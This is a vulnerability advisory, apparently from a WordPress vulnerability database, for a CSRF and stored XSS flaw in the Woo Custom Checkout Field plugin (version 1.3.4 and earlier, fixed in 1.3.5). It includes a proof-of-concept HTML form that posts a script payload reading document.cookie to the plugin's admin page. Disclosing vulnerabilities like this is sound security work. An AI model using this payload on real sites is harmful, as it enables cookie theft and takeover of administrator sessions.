Woo Custom Checkout Field <= 1.3.4 - CSRF & Stored XSS



Description
Due to a lack of CSRF mitigation and entity encoding in the ccf_insert function found on line 118 of include/ccf.php and in the output generated by template/datagrid.php, it is possible to store and execute scripts in the context of an admin user.
Proof of Concept
<form method="post" action="http://[target]/wp-admin/admin.php?page=ccf_settings_menu">  
    <input type="text" name="txt_field_name" value="field_name">
    <input type="text" name="txt_field_class" value="&lt;script&gt;alert(document.cookie);&lt;/script&gt;">
    <input type="text" name="txt_field_placeholder" value="placeholder">
    <input type="text" name="txt_field_type" value="text">
    <input type="text" name="txt_field_options" value="">
    <input type="submit" name="add_field" value="Submit">
</form>  

Affects Plugin

fixed in version 1.3.5

References

URL https://plugins.trac.wordpress.org/changeset/1463103/woo-custom-checkout-field
URL https://plugins.trac.wordpress.org/changeset/1461924/woo-custom-checkout-field
URL https://rastating.github.io/woo-custom-checkout-field-1-3-2-csrf-stored-xss-disclosure

Classification

Type XSS
OWASP Top 10 A7: Cross-Site Scripting (XSS)
CWE CWE-79

Miscellaneous

Submitter Rob Carr
Submitter Website http://blog.rastating.com/
Submitter Twitter iamrastating
Views 5672
Verified No
WPVDB ID 8567

Timeline

Publicly Published 2016-07-26 (over 3 years ago)
Added 2016-07-26 (over 3 years ago)
Last Updated 2019-11-01 (about 2 months ago)

Our Other Services

Online WordPress Vulnerability Scanner WPScan WordPress Security Plugin